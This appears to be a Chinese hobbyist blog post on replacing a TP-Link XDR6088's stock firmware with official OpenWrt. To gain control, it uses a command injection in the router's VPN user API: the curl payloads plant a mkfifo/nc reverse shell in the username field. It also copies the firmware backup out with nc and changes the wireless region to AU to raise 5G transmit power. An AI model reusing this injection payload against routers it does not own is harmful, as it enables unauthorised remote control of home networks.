Skip to content

TP-Link XDR6088 安装官方原版 OpenWrt

Posted on:December 25, 2023 at 12:05 AM

Table of contents

Open Table of contents

前言

很久之前就看到 XDR 6088 支持了 OpenWrt,但那时支持它的主要还是 Lean’s LEDE 的各种改版,作为更喜欢官方原版 OpenWrt 的我,实在是没有下手操作的动力。

不久之后看到 OpenWrt/ImmortalWrt 也在 snapshot 版本对 XDR 6088 增加了支持,便想着等加入主线以后就搞一下,可惜后面忙起来也忘记了。这个周末终于想起来了这一件事,并且 OpenWrt 也已经从 23.05 更新到了 23.05.2,稳定性应该比我看到之时有了更大的提升,那便开始操作,并在这篇文章内记录下,以下的操作步骤同样适用于 XDR6086 与 XDR4288。

本文发布时,XDR6088 TP 固件版本为 1.25,OpenWrt 固件版本为 23.05.2,后续跟随时间变动版本可能发生变化,如步骤发生变动,欢迎留言提醒改动。

参考文档: TL-XDR6088/6086 刷入官方 Openwrt/Immortalwrt

准备操作

准备 OpenWrt 镜像文件

这里可以选择自行编译固件或者直接直接 OpenWrt 的官方 Release,下载地址:OpenWrt Firmware Selector。输入设备型号后即可获得所有需要的文件,如下图所示:

firmware

我们需要下载这里蓝色的所有 4 个文件,同时,将 openwrt-23.05.2-mediatek-filogic-tplink_tl-xdr6088-initramfs-recovery.itb 重新命名为 openwrt-mediatek-filogic-tplink_tl-xdr6088-initramfs-recovery.itb,最终结果如下图所示:

folder

设置电脑 IP,安装 nmap,路由器恢复出厂设置

在下一步之后我们便会断开与互联网的连接,所以在这里我们先安装一下后面要用的一个软件,命令行如下:

brew install nmap

!!!重要:使用网线将电脑与路由器的 1G 接口相连接,并手动设置电脑 IP 地址为 192.168.1.254,子网掩码为 255.255.255.0,网关设置为 192.168.1.1,设置完成后结果如下图所示:

settings 然后使用卡针等物品长按路由器侧边的 Reset 按钮十秒以上(进 web 后台也行),将路由器恢复出厂设置,同时进入后台设置密码(不重要,随便设置即可)。

tftp server 设置

使用 macOS 内建程序

我这里使用的是 macOS,系统内建了 tftp 支持,Linux 用户可以通过安装 atftptftp-hpa 等工具来轻松解决,对于 Windows 系统用户,可以使用 tftp64 这个具有 GUI 的客户端,这里只对 macOS 进行说明,其他的大同小异,大家可以自行 Google 对应的 OS 或客户端如何设置 tftp server

不过 tftp 在macOS 上默认是未启用状态,终端内执行以下几行简单的命令即可完成上述操作,我们这里需要的步骤如下:

  1. 更改 tftp 工作目录权限:
    sudo chmod 777 /private/tftpboot
  2. 启用 tftp 服务:
    sudo launchctl load -F /System/Library/LaunchDaemons/tftp.plist
    sudo launchctl start com.apple.tftpd
  3. 将上一步下载的文件放置在 /private/tftpboot ,最终结果如下: tftpboot

使用第三方软件如 TftpServer

下载链接,下载后点击 Start TFTP,并将路径设置为存放 OpenWrt 固件的路径即可。

tftpserver

正文开始:OpenWrt 安装

获取路由器控制权限

获取路由器 stok

进入路由器后台网址,打开浏览器开发者模式,在网络选项下找到一个名为 ds 的项目,点击请求标头,复制 stock=/ds 之间的内容,如下图所示:

stok

接下来打开终端,将获取到的 stok 设置为环境变量,命令如下:

export stok={刚刚拿到的那一串内容}

运行 ncat 监听

打开终端,输入如下命令:

ncat -nvlp 4444

通过路由器 vpn 权限漏洞获取权限

打开一个新的终端,依次输入如下命令:

curl http://192.168.1.1/stok=$stok/ds -H "Content-Type: application/json" -X POST -d '{"vpn":{"table":"user","name":"user_1","para":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.1.254 4444 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.1.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.1.0/24","block":"0"}},"method":"add"}'

执行成功后应该能看到终端输出返回 {"error_code":0},如下图所示:

error0 然后执行下面的命令:

curl http://192.168.1.1/stok=$stok/ds -H "Content-Type: application/json" -X POST -d '{"vpn":{"user_1":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.1.254 4444 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.1.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.1.0/24","block":"1"}},"method":"set"}'

同样可以看到返回 {"error_code":0},并且刚刚运行的 ncat 会有如下图所示的变化:

ncat

这时我们便获取了路由器的控制权限,可以进行下一步的操作。

备份路由器原始固件

输入如下命令即可备份固件:

dd if=/dev/mtdblock9 of=/tmp/backup.img bs=131072

等待程序运行完成,会有类似如下的运行结果:

x+y records in
a+b records out

检查备份文件 `md5:

md5sum /tmp/backup.img

这时我想使用参考文档中的命令使用 tftp 将备份过后的固件,但出现了如下错误:

Error code 2: Access violation

看了下参考文档的评论已经有人给出了相同的错误,最终使用 nc 将备份文件保存了下来,命令如下:

电脑运行:

nc -l 3333 > /path/tp/store/tp_backup.img

路由器运行:

nc 192.168.1.254 3333 < /tmp/backup.img

这样就可以成功的将备份文件保存下来。后来想了想,可能有以下的几个原因:

  1. 我当时使用的是 TftpServer 这个软件,使用的是自定义路径,目录权限并不是 777
  2. tftp 被 TP 进行了更新,可能需要新增 -c 才能创建文件。
  3. tftp 发送文件到服务端前,我的电脑路径下需要先有这个文件才可以。

以上猜测的参考文档:askubuntu.com

安装 OpenWrt uboot

传输 uboot 文件

我们在传输前后还是检查下文件的 md5,确保万无一失,毕竟这个出点差错,真的是会变砖的,到时候只能硬件 TTL 救活了,这里及后文将不再赘述 md5,uboot 传输命令如下:

tftp -g -l /tmp/preloader.bin -r openwrt-23.05.2-mediatek-filogic-tplink_tl-xdr6088-preloader.bin 192.168.1.254

tftp -g -l /tmp/uboot.fip -r openwrt-23.05.2-mediatek-filogic-tplink_tl-xdr6088-bl31-uboot.fip 192.168.1.254

写入 uboot 文件

在此之前你还可以后悔,下面的步骤可千万错不得,不然就是砖了,一定按照顺序执行下面的命令,第一条:

dd bs=131072 conv=sync of=/dev/mtdblock9 if=/tmp/preloader.bin

第二条:

dd bs=131072 conv=sync of=/dev/mtdblock9 seek=28 if=/tmp/uboot.fip

执行完毕后终端将有类似下面的输出:

output

重启路由器,写入 recovery 镜像并安装 sysupgrade

我们简单粗暴一些,直接拔掉路由器电源再插上进行重启,注意,这里不要断开路由器与电脑的连接。路由器重启后将后台通过 tftp 从我们的电脑上请求 openwrt-mediatek-filogic-tplink_tl-xdr6088-initramfs-recovery.itb 文件,这里只需要打开浏览器,输入 192.168.1.1 进行等待以及时不时的刷新即可,最终将会进入到如下界面:

recovery

直接点击 Log in 进入网页,按照网页提示上传 sysupgrade.itb 镜像,如下图所示:

web-flash choose-file

然后点击 Upload, Continue,等待系统安装,然后就可以大功告成。

配置 OpenWrt 无线功能

我们进入后台会发现无线功能默认都是禁用的,需要手动启用:

wireless

这里以此从上而下为 2.4G5G 网络,我们点击 Enable,等待转圈结束后,点击 Edit,设置名称与密码即可,这里不再赘述。

 5G 无线信号设置与增强

我们都知道 ASUS 路由器可以通过更改地区为澳大利亚从而获得更大的无线功率,进而提升信号,其实 OpenWrt 也是可以的,设置步骤如下:

  1. 点击 5G 网络的 Edit 按钮,将国家设置为 AU,同时将覆盖强度设置为非常强,如下图所示: advance
  2. 点击保存按钮,等待生效,生效后我们可能会无法搜索到 5G 网络,不要着急,还有一步,再次进入编辑界面,将无线信道固定为 36,同时你会发现,无线功率已经可以调整为 23dBm,而不是之前的 20,如下图所示: 5gwire

关闭 tftp server

对于使用 macOS 内建 tftp server 的话,我们还需要关闭,依次执行以下的命令即可:

sudo launchctl stop com.apple.tftpd
sudo launchctl unload -F /System/Library/LaunchDaemons/tftp.plist
sudo chmod 655 /private/tftpboot

如何回退为原厂固件

我目前使用比较满意,还没有进行过回退操作,大家可以根据文章开始展示的参考文章进行操作。

结语

到此为止,XDR6088 的 OpenWrt 安装便告一个段落,我目前使用下来,信号强度与网络速度等等与其作为 AP 时无异,我正在使用它来替换之前的 X86 OpenWrt 软路由,目前没有明显差异。我所使用到的插件,例如 ddns, wireguard, socat 以及 openxxx 使用正常。如果还有其他疑问或在安装的时候碰到一些疑惑,请在文章下方留言,博主将在看到后及时进行回复。